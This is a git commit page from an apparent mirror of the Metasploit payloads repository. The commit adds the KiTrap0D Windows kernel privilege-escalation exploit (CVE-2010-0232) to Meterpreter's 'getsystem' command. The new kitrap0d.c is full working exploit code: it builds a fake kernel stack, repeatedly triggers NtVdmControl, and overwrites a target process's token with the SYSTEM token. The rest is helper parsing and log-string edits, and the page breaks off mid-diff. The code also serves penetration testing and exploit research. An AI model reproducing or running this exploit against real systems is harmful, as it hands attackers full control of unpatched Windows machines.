mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-02-16 00:24:29 +01:00
Add in KiTrap0D to the priv getsystem command.
git-svn-id: file:///home/svn/framework3/trunk@8317 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
9299f443e2
commit
00de4d1561
@ -1,14 +1,14 @@
|
||||
//
|
||||
// Note: To use the produced x86 dll on NT4 you must manually edit the PE Header (CFF Explorer[1] is good) in order
|
||||
// to change the MajorOperatingSystemVersion and MajorSubsystemVersion to 4 instead of 5 as Visual C++ 2008
|
||||
// Note: To use the produced x86 dll on NT4 we use a post build event "editbin.exe /OSVERSION:4.0 /SUBSYSTEM:WINDOWS,4.0 elevator.dll"
|
||||
// in order to change the MajorOperatingSystemVersion and MajorSubsystemVersion to 4 instead of 5 as Visual C++ 2008
|
||||
// can't build PE images for NT4 (only 2000 and up). The modified dll will then work on NT4 and up. This does
|
||||
// not apply to the produced x64 dll.
|
||||
//
|
||||
// [1] http://www.ntcore.com/exsuite.php
|
||||
//
|
||||
|
||||
#include "elevator.h"
|
||||
#include "namedpipeservice.h"
|
||||
#include "tokendup.h"
|
||||
#include "kitrap0d.h"
|
||||
|
||||
// define this as we are going to be injected via LoadRemoteLibraryR
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
@ -19,6 +19,60 @@
|
||||
// include the Reflectiveloader() function
|
||||
#include "../ReflectiveDLLInjection/ReflectiveLoader.c"
|
||||
|
||||
/*
|
||||
* Grab a DWORD value out of the command line.
|
||||
* e.g. elevator_command_dword( "/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:" ) == 0x41414141
|
||||
*/
|
||||
DWORD elevator_command_dword( char * cpCommandLine, char * cpCommand )
|
||||
{
|
||||
char * cpString = NULL;
|
||||
DWORD dwResult = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( !cpCommandLine || !cpCommand )
|
||||
break;
|
||||
|
||||
cpString = strstr( cpCommandLine, cpCommand );
|
||||
if( !cpString )
|
||||
break;
|
||||
|
||||
cpString += strlen( cpCommand );
|
||||
|
||||
dwResult = strtoul( cpString, NULL, 0 );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* Grab a int value out of the command line.
|
||||
* e.g. elevator_command_dword( "/FOO:12345 /BAR:54321", "/FOO:" ) == 12345
|
||||
*/
|
||||
int elevator_command_int( char * cpCommandLine, char * cpCommand )
|
||||
{
|
||||
char * cpString = NULL;
|
||||
int iResult = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( !cpCommandLine || !cpCommand )
|
||||
break;
|
||||
|
||||
cpString = strstr( cpCommandLine, cpCommand );
|
||||
if( !cpString )
|
||||
break;
|
||||
|
||||
cpString += strlen( cpCommand );
|
||||
|
||||
iResult = atoi( cpString );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
return iResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* The real entrypoint for this app.
|
||||
*/
|
||||
@ -38,13 +92,28 @@ VOID elevator_main( char * cpCommandLine )
|
||||
|
||||
dprintf( "[ELEVATOR] elevator_main. lpCmdLine=%s", cpCommandLine );
|
||||
|
||||
if( strstr( cpCommandLine, "/t:" ) )
|
||||
if( strstr( cpCommandLine, "/KITRAP0D" ) )
|
||||
{
|
||||
DWORD dwProcessId = 0;
|
||||
DWORD dwKernelBase = 0;
|
||||
DWORD dwOffset = 0;
|
||||
|
||||
dwProcessId = elevator_command_dword( cpCommandLine, "/VDM_TARGET_PID:" );
|
||||
dwKernelBase = elevator_command_dword( cpCommandLine, "/VDM_TARGET_KRN:" );
|
||||
dwOffset = elevator_command_dword( cpCommandLine, "/VDM_TARGET_OFF:" );
|
||||
|
||||
if( !dwProcessId || !dwKernelBase )
|
||||
break;
|
||||
|
||||
elevator_kitrap0d( dwProcessId, dwKernelBase, dwOffset );
|
||||
|
||||
// ...we should never return here...
|
||||
}
|
||||
else if( strstr( cpCommandLine, "/t:" ) )
|
||||
{
|
||||
DWORD dwThreadId = 0;
|
||||
|
||||
cpCommandLine += strlen( "/t:" );
|
||||
|
||||
dwThreadId = atoi( cpCommandLine );
|
||||
dwThreadId = elevator_command_dword( cpCommandLine, "/t:" );
|
||||
|
||||
dwResult = elevator_tokendup( dwThreadId, SECURITY_LOCAL_SYSTEM_RID );
|
||||
|
||||
|
353
c/meterpreter/source/elevator/kitrap0d.c
Normal file
353
c/meterpreter/source/elevator/kitrap0d.c
Normal file
@ -0,0 +1,353 @@
|
||||
// A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmexploit.c).
|
||||
// http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
|
||||
|
||||
#ifndef WIN32_NO_STATUS
|
||||
# define WIN32_NO_STATUS
|
||||
#endif
|
||||
#include "elevator.h"
|
||||
#include "kitrap0d.h"
|
||||
#include <winerror.h>
|
||||
#include <winternl.h>
|
||||
#include <stddef.h>
|
||||
#ifdef WIN32_NO_STATUS
|
||||
# undef WIN32_NO_STATUS
|
||||
#endif
|
||||
#include <ntstatus.h>
|
||||
|
||||
#ifdef _WIN64
|
||||
|
||||
/*
|
||||
* This is not implemented for the x64 build.
|
||||
*/
|
||||
VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset )
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
#else
|
||||
|
||||
/*
|
||||
* The global variables used...
|
||||
*/
|
||||
static DWORD dwTargetProcessId = 0;
|
||||
static DWORD * lpKernelStackPointer = NULL;
|
||||
static HMODULE hKernel = NULL;
|
||||
|
||||
/*
|
||||
* Find an exported kernel symbol by name.
|
||||
*/
|
||||
PVOID elevator_kitrap0d_kernelgetproc( PSTR SymbolName )
|
||||
{
|
||||
PUCHAR ImageBase = NULL;
|
||||
PULONG NameTable = NULL;
|
||||
PULONG FunctionTable = NULL;
|
||||
PUSHORT OrdinalTable = NULL;
|
||||
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
|
||||
PIMAGE_DOS_HEADER DosHeader = NULL;
|
||||
PIMAGE_NT_HEADERS PeHeader = NULL;
|
||||
DWORD i = 0;
|
||||
|
||||
ImageBase = (PUCHAR)hKernel;
|
||||
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
|
||||
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + PeHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
// Find required tables from the ExportDirectory...
|
||||
NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
|
||||
FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
|
||||
OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
// Scan each entry for a matching name.
|
||||
for( i=0 ; i < ExportDirectory->NumberOfNames ; i++ )
|
||||
{
|
||||
PCHAR Symbol = ImageBase + NameTable[i];
|
||||
|
||||
if( strcmp( Symbol, SymbolName ) == 0 )
|
||||
{
|
||||
// Symbol found, return the appropriate entry from FunctionTable.
|
||||
return (PVOID)( ImageBase + FunctionTable[OrdinalTable[i]] );
|
||||
}
|
||||
}
|
||||
|
||||
// Symbol not found, this is likely fatal :-(
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Replace a value if it falls between a given range.
|
||||
*/
|
||||
BOOL elevator_kitrap0d_checkandreplace( PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value )
|
||||
{
|
||||
if( *checkMe >= rangeStart && *checkMe <= rangeEnd )
|
||||
{
|
||||
*checkMe = value;
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Search the specified data structure for a member with CurrentValue.
|
||||
*/
|
||||
BOOL elevator_kitrap0d_findandreplace( PDWORD Structure, DWORD CurrentValue, DWORD NewValue, DWORD MaxSize, BOOL ObjectRefs)
|
||||
{
|
||||
DWORD i = 0;
|
||||
DWORD Mask = 0;
|
||||
|
||||
// Microsoft QWORD aligns object pointers, then uses the lower three
|
||||
// bits for quick reference counting (nice trick).
|
||||
Mask = ObjectRefs ? ~7 : ~0;
|
||||
|
||||
// Mask out the reference count.
|
||||
CurrentValue &= Mask;
|
||||
|
||||
// Scan the structure for any occurrence of CurrentValue.
|
||||
for( i = 0 ; i < MaxSize ; i++ )
|
||||
{
|
||||
if( (Structure[i] & Mask) == CurrentValue )
|
||||
{
|
||||
// And finally, replace it with NewValue.
|
||||
Structure[i] = NewValue;
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
// Member not found.
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* This routine is where we land after successfully triggering the vulnerability.
|
||||
*/
|
||||
VOID elevator_kitrap0d_firststage( VOID )
|
||||
{
|
||||
FARPROC DbgPrint = NULL;
|
||||
FARPROC PsGetCurrentThread = NULL;
|
||||
FARPROC PsGetCurrentThreadStackBase = NULL;
|
||||
FARPROC PsGetCurrentThreadStackLimit = NULL;
|
||||
FARPROC PsLookupProcessByProcessId = NULL;
|
||||
FARPROC PsReferencePrimaryToken = NULL;
|
||||
FARPROC ZwTerminateProcess = NULL;
|
||||
PVOID CurrentThread = NULL;
|
||||
PVOID TargetProcess = NULL;
|
||||
PVOID * PsInitialSystemProcess = NULL;
|
||||
HANDLE pret = NULL;
|
||||
DWORD StackBase = 0;
|
||||
DWORD StackLimit = 0;
|
||||
DWORD NewStack = 0;
|
||||
DWORD i = 0;
|
||||
DWORD dwEThreadOffsets[] = {
|
||||
0x6, // WinXP SP3, VistaSP2
|
||||
0xA // Windows 7, VistaSP1
|
||||
};
|
||||
|
||||
// Keep interrupts off until we've repaired the KTHREAD.
|
||||
__asm cli
|
||||
|
||||
// Resolve some routines we need from the kernel export directory
|
||||
DbgPrint = elevator_kitrap0d_kernelgetproc( "DbgPrint" );
|
||||
PsGetCurrentThread = elevator_kitrap0d_kernelgetproc( "PsGetCurrentThread" );
|
||||
PsGetCurrentThreadStackBase = elevator_kitrap0d_kernelgetproc( "PsGetCurrentThreadStackBase" );
|
||||
PsGetCurrentThreadStackLimit = elevator_kitrap0d_kernelgetproc( "PsGetCurrentThreadStackLimit" );
|
||||
PsInitialSystemProcess = elevator_kitrap0d_kernelgetproc( "PsInitialSystemProcess" );
|
||||
PsLookupProcessByProcessId = elevator_kitrap0d_kernelgetproc( "PsLookupProcessByProcessId" );
|
||||
PsReferencePrimaryToken = elevator_kitrap0d_kernelgetproc( "PsReferencePrimaryToken" );
|
||||
ZwTerminateProcess = elevator_kitrap0d_kernelgetproc( "ZwTerminateProcess" );
|
||||
|
||||
CurrentThread = (PVOID)PsGetCurrentThread();
|
||||
StackLimit = (DWORD)PsGetCurrentThreadStackLimit();
|
||||
StackBase = (DWORD)PsGetCurrentThreadStackBase();
|
||||
|
||||
NewStack = StackBase - ( (StackBase - StackLimit) / 2 );
|
||||
|
||||
// First we need to repair the CurrentThread, find all references to the fake kernel
|
||||
// stack and repair them. Note that by "repair" we mean randomly point them
|
||||
// somewhere inside the real stack.
|
||||
|
||||
// Walk only the offsets that could possibly be bad based on testing, and see if they need
|
||||
// to be swapped out. O(n^2) -> O(c) wins the race!
|
||||
for( i=0 ; i < sizeof(dwEThreadOffsets) / sizeof (DWORD) ; i++ )
|
||||
elevator_kitrap0d_checkandreplace( (((PDWORD) CurrentThread)+dwEThreadOffsets[i]), (DWORD)&lpKernelStackPointer[0], (DWORD)&lpKernelStackPointer[KSTACKSIZE - 1], (DWORD)NewStack );
|
||||
|
||||
// Find the EPROCESS structure for the process we want to escalate
|
||||
if( PsLookupProcessByProcessId( dwTargetProcessId, &TargetProcess ) == STATUS_SUCCESS )
|
||||
{
|
||||
PACCESS_TOKEN SystemToken = NULL;
|
||||
PACCESS_TOKEN TargetToken = NULL;
|
||||
|
||||
// What's the maximum size the EPROCESS structure is ever likely to be?
|
||||
CONST DWORD MaxExpectedEprocessSize = 0x200;
|
||||
|
||||
// DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);
|
||||
//DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);
|
||||
|
||||
// Find the Token object for my target process, and the SYSTEM process.
|
||||
TargetToken = (PACCESS_TOKEN)PsReferencePrimaryToken( TargetProcess );
|
||||
|
||||
SystemToken = (PACCESS_TOKEN)PsReferencePrimaryToken( *PsInitialSystemProcess );
|
||||
|
||||
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);
|
||||
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);
|
||||
|
||||
// Find the token in the target process, and replace with the system token.
|
||||
elevator_kitrap0d_findandreplace( (PDWORD)TargetProcess, (DWORD)TargetToken, (DWORD)SystemToken, MaxExpectedEprocessSize, TRUE );
|
||||
|
||||
// Success
|
||||
pret = (HANDLE)'w00t';
|
||||
}
|
||||
else
|
||||
{
|
||||
// Maybe the user closed the window?
|
||||
// Report this failure
|
||||
pret = (HANDLE)'LPID';
|
||||
}
|
||||
|
||||
__asm
|
||||
{
|
||||
mov eax, -1 // ZwCurrentProcess macro returns -1
|
||||
mov ebx, NewStack
|
||||
mov ecx, pret
|
||||
mov edi, ZwTerminateProcess
|
||||
mov esp, ebx // Swap the stack back to kernel-land
|
||||
mov ebp, ebx // Swap the frame pointer back to kernel-land
|
||||
sub esp, 256
|
||||
push ecx // Push the return code
|
||||
push eax // Push the process handle
|
||||
sti // Restore interrupts finally
|
||||
call edi // Call ZwTerminateProcess
|
||||
__emit 0xCC; // Hope we never end up here
|
||||
};
|
||||
|
||||
}
|
||||
|
||||
/*
|
||||
* Setup a minimal execution environment to satisfy NtVdmControl().
|
||||
*/
|
||||
BOOL elevator_kitrap0d_initvdmsubsystem( VOID )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
FARPROC pNtAllocateVirtualMemory = NULL;
|
||||
FARPROC pNtFreeVirtualMemory = NULL;
|
||||
FARPROC pNtVdmControl = NULL;
|
||||
PBYTE BaseAddress = (PVOID)0x00000001;
|
||||
HMODULE hNtdll = NULL;
|
||||
ULONG RegionSize = 0;
|
||||
static DWORD TrapHandler[128] = {0};
|
||||
static DWORD IcaUserData[128] = {0};
|
||||
|
||||
static struct {
|
||||
PVOID TrapHandler;
|
||||
PVOID IcaUserData;
|
||||
} InitData;
|
||||
|
||||
do
|
||||
{
|
||||
hNtdll = GetModuleHandle( "ntdll" );
|
||||
if( !hNtdll )
|
||||
BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER );
|
||||
|
||||
pNtAllocateVirtualMemory = GetProcAddress( hNtdll, "NtAllocateVirtualMemory" );
|
||||
pNtFreeVirtualMemory = GetProcAddress( hNtdll, "NtFreeVirtualMemory" );
|
||||
pNtVdmControl = GetProcAddress( hNtdll, "NtVdmControl" );
|
||||
|
||||
if( !pNtAllocateVirtualMemory || !pNtFreeVirtualMemory || !pNtVdmControl )
|
||||
BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. invalid params", ERROR_INVALID_PARAMETER );
|
||||
|
||||
InitData.TrapHandler = TrapHandler;
|
||||
InitData.IcaUserData = IcaUserData;
|
||||
|
||||
// Remove anything currently mapped at NULL
|
||||
pNtFreeVirtualMemory( GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE );
|
||||
|
||||
BaseAddress = (PVOID)0x00000001;
|
||||
RegionSize = (ULONG)0x00100000;
|
||||
|
||||
// Allocate the 1MB virtual 8086 address space.
|
||||
if( pNtAllocateVirtualMemory( GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ) != STATUS_SUCCESS )
|
||||
BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtAllocateVirtualMemory failed", 'NTAV' );
|
||||
|
||||
// Finalise the initialisation.
|
||||
if( pNtVdmControl( VdmInitialize, &InitData ) != STATUS_SUCCESS )
|
||||
BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtVdmControl failed", 'VDMC' );
|
||||
|
||||
return TRUE;
|
||||
|
||||
} while( 0 );
|
||||
|
||||
ExitThread( dwResult );
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* (CVE-2010-0232)
|
||||
*/
|
||||
VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
FARPROC pNtVdmControl = NULL;
|
||||
HMODULE hNtdll = NULL;
|
||||
DWORD dwKernelStack[KSTACKSIZE] = {0};
|
||||
VDMTIB VdmTib = {0};
|
||||
DWORD dwMinimumExpectedVdmTibSize = 0x200;
|
||||
DWORD dwMaximumExpectedVdmTibSize = 0x800;
|
||||
|
||||
do
|
||||
{
|
||||
dprintf( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. dwProcessId=%d, dwKernelBase=0x%08X, dwOffset=0x%08X", dwProcessId, dwKernelBase, dwOffset );
|
||||
|
||||
memset( &VdmTib, 0, sizeof( VDMTIB ) );
|
||||
memset( &dwKernelStack, 0, KSTACKSIZE * sizeof( DWORD ) );
|
||||
|
||||
// XXX: Windows 2000 forces the thread to exit with 0x80 if Padding3 is filled with junk.
|
||||
// With a buffer full of NULLs, the exploit never finds the right size.
|
||||
// This will require a more work to resolve, for just keep the padding zero'd
|
||||
|
||||
hNtdll = GetModuleHandle( "ntdll" );
|
||||
if( !hNtdll )
|
||||
BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER );
|
||||
|
||||
pNtVdmControl = GetProcAddress( hNtdll, "NtVdmControl" );
|
||||
if( !pNtVdmControl )
|
||||
BREAK_ON_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. GetProcAddress NtVdmControl failed" );
|
||||
|
||||
dwTargetProcessId = dwProcessId;
|
||||
|
||||
// Setup the fake kernel stack, and install a minimal VDM_TIB...
|
||||
lpKernelStackPointer = (DWORD *)&dwKernelStack;
|
||||
dwKernelStack[0] = (DWORD)&dwKernelStack[8]; // ESP
|
||||
dwKernelStack[1] = (DWORD)NtCurrentTeb(); // TEB
|
||||
dwKernelStack[2] = (DWORD)NtCurrentTeb(); // TEB
|
||||
dwKernelStack[7] = (DWORD)elevator_kitrap0d_firststage; // RETURN ADDRESS
|
||||
hKernel = (HMODULE)dwKernelBase;
|
||||
VdmTib.Size = dwMinimumExpectedVdmTibSize;
|
||||
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||||
|
||||
// Initialize the VDM Subsystem...
|
||||
elevator_kitrap0d_initvdmsubsystem();
|
||||
|
||||
VdmTib.Size = dwMinimumExpectedVdmTibSize;
|
||||
VdmTib.VdmContext.SegCs = 0x0B;
|
||||
VdmTib.VdmContext.Esi = (DWORD)&dwKernelStack;
|
||||
VdmTib.VdmContext.Eip = dwKernelBase + dwOffset;
|
||||
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
|
||||
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||||
|
||||
// Allow thread initialization to complete. Without is, there is a chance
|
||||
// of a race in KiThreadInitialize's call to SwapContext
|
||||
Sleep( 1000 );
|
||||
|
||||
// Trigger the vulnerable code via NtVdmControl()...
|
||||
while( VdmTib.Size++ < dwMaximumExpectedVdmTibSize )
|
||||
pNtVdmControl( VdmStartExecution, NULL );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
// Unable to find correct VdmTib size.
|
||||
ExitThread('VTIB');
|
||||
}
|
||||
|
||||
#endif
|
30
c/meterpreter/source/elevator/kitrap0d.h
Normal file
30
c/meterpreter/source/elevator/kitrap0d.h
Normal file
@ -0,0 +1,30 @@
|
||||
#ifndef _METERPRETER_SOURCE_ELEVATOR_KITRAP0D_H
|
||||
#define _METERPRETER_SOURCE_ELEVATOR_KITRAP0D_H
|
||||
|
||||
#define KSTACKSIZE 1024
|
||||
|
||||
#define EFLAGS_TF_MASK 0x00000100 // trap flag
|
||||
|
||||
#ifndef PAGE_SIZE
|
||||
#define PAGE_SIZE 0x1000
|
||||
#endif
|
||||
|
||||
enum
|
||||
{
|
||||
VdmStartExecution = 0,
|
||||
VdmInitialize = 3
|
||||
};
|
||||
|
||||
typedef struct _VDMTIB
|
||||
{
|
||||
ULONG Size;
|
||||
PVOID Padding0;
|
||||
PVOID Padding1;
|
||||
CONTEXT Padding2;
|
||||
CONTEXT VdmContext;
|
||||
DWORD Padding3[1024];
|
||||
} VDMTIB, * LPVDMTIB;
|
||||
|
||||
VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset );
|
||||
|
||||
#endif
|
@ -56,7 +56,7 @@ VOID elevator_serviceproc( DWORD argc, LPSTR * argv )
|
||||
|
||||
hStatus = RegisterServiceCtrlHandler( lpServiceName, (LPHANDLER_FUNCTION)elevator_servicectrl );
|
||||
if( !hStatus )
|
||||
BREAK_ON_ERROR( "[ELAVATOR] elevator_service_proc. RegisterServiceCtrlHandler failed" );
|
||||
BREAK_ON_ERROR( "[ELAVATOR-NAMEDPIPE] elevator_service_proc. RegisterServiceCtrlHandler failed" );
|
||||
|
||||
status.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
|
||||
status.dwServiceSpecificExitCode = 0;
|
||||
@ -101,13 +101,13 @@ BOOL elevator_namedpipeservice( char * cpServiceName )
|
||||
do
|
||||
{
|
||||
if( !cpServiceName )
|
||||
BREAK_WITH_ERROR( "[ELEVATOR] elevator_pipe. cpServiceName == NULL", ERROR_INVALID_HANDLE );
|
||||
BREAK_WITH_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. cpServiceName == NULL", ERROR_INVALID_HANDLE );
|
||||
|
||||
lpServiceName = _strdup( cpServiceName );
|
||||
|
||||
hTerminate = CreateEvent( 0, TRUE, FALSE, 0 );
|
||||
if( !hTerminate )
|
||||
BREAK_ON_ERROR( "[ELAVATOR] elevator_service_proc. CreateEvent hTerminate failed" );
|
||||
BREAK_ON_ERROR( "[ELAVATOR-NAMEDPIPE] elevator_service_proc. CreateEvent hTerminate failed" );
|
||||
|
||||
servicetable[0].lpServiceName = lpServiceName;
|
||||
servicetable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)elevator_serviceproc;
|
||||
@ -116,10 +116,10 @@ BOOL elevator_namedpipeservice( char * cpServiceName )
|
||||
servicetable[1].lpServiceProc = NULL;
|
||||
|
||||
if( !StartServiceCtrlDispatcher( servicetable ) )
|
||||
BREAK_ON_ERROR( "[ELEVATOR] elevator_pipe. StartServiceCtrlDispatcher failed" );
|
||||
BREAK_ON_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. StartServiceCtrlDispatcher failed" );
|
||||
|
||||
if( WaitForSingleObject( hTerminate, INFINITE ) != WAIT_OBJECT_0 )
|
||||
BREAK_ON_ERROR( "[ELEVATOR] elevator_pipe. WaitForSingleObject failed" );
|
||||
BREAK_ON_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. WaitForSingleObject failed" );
|
||||
|
||||
dwResult = dwElevateStatus;
|
||||
|
||||
|
@ -26,34 +26,34 @@ BOOL elevator_tokendup( DWORD dwThreadId, DWORD dwSecurityRID )
|
||||
pCheckTokenMembership = (CHECKTOKENMEMBERSHIP)GetProcAddress( LoadLibrary( "advapi32" ), "CheckTokenMembership" );
|
||||
pOpenThread = (OPENTHREAD)GetProcAddress( LoadLibrary( "kernel32" ), "OpenThread" );
|
||||
if( !pCheckTokenMembership || !pOpenThread )
|
||||
BREAK_WITH_ERROR( "[ELEVATOR] elevator_thread. pCheckTokenMembership/pOpenthread == 0", ERROR_INVALID_HANDLE );
|
||||
BREAK_WITH_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. pCheckTokenMembership/pOpenthread == 0", ERROR_INVALID_HANDLE );
|
||||
|
||||
if( !dwThreadId )
|
||||
BREAK_WITH_ERROR( "[ELEVATOR] elevator_thread. dwThreadId == 0", ERROR_INVALID_HANDLE );
|
||||
BREAK_WITH_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. dwThreadId == 0", ERROR_INVALID_HANDLE );
|
||||
|
||||
if( !OpenProcessToken( GetCurrentProcess(), TOKEN_DUPLICATE|TOKEN_IMPERSONATE|TOKEN_QUERY, &hProcessToken ) )
|
||||
BREAK_ON_ERROR( "[ELEVATOR] elevator_thread. OpenToken failed" );
|
||||
BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. OpenToken failed" );
|
||||
|
||||
if( !AllocateAndInitializeSid( &NtAuthority, 1, dwSecurityRID, 0, 0, 0, 0, 0, 0, 0, &lpSystemSID ) )
|
||||
BREAK_ON_ERROR( "[ELEVATOR] elevator_thread. AllocateAndInitializeSid failed" );
|
||||
BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. AllocateAndInitializeSid failed" );
|
||||
|
||||
if( !DuplicateToken( hProcessToken, SecurityImpersonation, &hToken ) )
|
||||
BREAK_ON_ERROR( "[ELEVATOR] elevator_thread. DuplicateToken failed" );
|
||||
BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. DuplicateToken failed" );
|
||||
|
||||
if( !pCheckTokenMembership( hToken, lpSystemSID, &bIsSystem ) )
|
||||
BREAK_ON_ERROR( "[ELEVATOR] elevator_thread. CheckTokenMembership failed" );
|
||||
BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. CheckTokenMembership failed" );
|
||||
|
||||
if( !bIsSystem )
|
||||
BREAK_WITH_ERROR( "[ELEVATOR] elevator_thread. bIsSystem == FALSE", ERROR_INVALID_SID );
|
||||
BREAK_WITH_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. bIsSystem == FALSE", ERROR_INVALID_SID );
|
||||
|
||||
hThread = pOpenThread( THREAD_ALL_ACCESS, TRUE, dwThreadId );
|
||||
if( !hThread )
|
||||
BREAK_ON_ERROR( "[ELEVATOR] elevator_thread. OpenThread failed" );
|
||||
BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. OpenThread failed" );
|
||||
|
||||
if( !SetThreadToken( &hThread, hToken ) )
|
||||
BREAK_ON_ERROR( "[ELEVATOR] elevator_thread. SetThreadToken failed" );
|
||||
BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. SetThreadToken failed" );
|
||||
|
||||
dprintf( "[ELEVATOR] elevator_thread. Gave SYSTEM token to thread %d", dwThreadId );
|
||||
dprintf( "[ELEVATOR-TOKENDUP] elevator_thread. Gave SYSTEM token to thread %d", dwThreadId );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
|
@ -1,6 +1,55 @@
|
||||
#include "precomp.h"
|
||||
#include "namedpipe.h"
|
||||
#include "tokendup.h"
|
||||
#include "kitrap0d.h"
|
||||
|
||||
/*
|
||||
* Get the native architecture of the system we are running on. (ripped from the stdapi's ps.c)
|
||||
*/
|
||||
DWORD elevate_getnativearch( VOID )
|
||||
{
|
||||
HANDLE hKernel = NULL;
|
||||
GETNATIVESYSTEMINFO pGetNativeSystemInfo = NULL;
|
||||
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
|
||||
SYSTEM_INFO SystemInfo = {0};
|
||||
|
||||
do
|
||||
{
|
||||
// default to 'x86' as if kernel32!GetNativeSystemInfo is not present then we are on an old x86 system.
|
||||
dwNativeArch = PROCESS_ARCH_X86;
|
||||
|
||||
hKernel = LoadLibraryA( "kernel32.dll" );
|
||||
if( !hKernel )
|
||||
break;
|
||||
|
||||
pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetProcAddress( hKernel, "GetNativeSystemInfo" );
|
||||
if( !pGetNativeSystemInfo )
|
||||
break;
|
||||
|
||||
pGetNativeSystemInfo( &SystemInfo );
|
||||
switch( SystemInfo.wProcessorArchitecture )
|
||||
{
|
||||
case PROCESSOR_ARCHITECTURE_AMD64:
|
||||
dwNativeArch = PROCESS_ARCH_X64;
|
||||
break;
|
||||
case PROCESSOR_ARCHITECTURE_IA64:
|
||||
dwNativeArch = PROCESS_ARCH_IA64;
|
||||
break;
|
||||
case PROCESSOR_ARCHITECTURE_INTEL:
|
||||
dwNativeArch = PROCESS_ARCH_X86;
|
||||
break;
|
||||
default:
|
||||
dwNativeArch = PROCESS_ARCH_UNKNOWN;
|
||||
break;
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( hKernel )
|
||||
FreeLibrary( hKernel );
|
||||
|
||||
return dwNativeArch;
|
||||
}
|
||||
|
||||
/*
|
||||
* Attempt to elevate the current meterpreter to local system using a variety of techniques.
|
||||
@ -24,19 +73,26 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
|
||||
{
|
||||
do
|
||||
{
|
||||
// firstly, try to use the in-memory named pipe impersonation technique
|
||||
// firstly, try to use the in-memory named pipe impersonation technique (Requires Local Admin rights)
|
||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE;
|
||||
dwResult = elevate_via_service_namedpipe( remote, packet );
|
||||
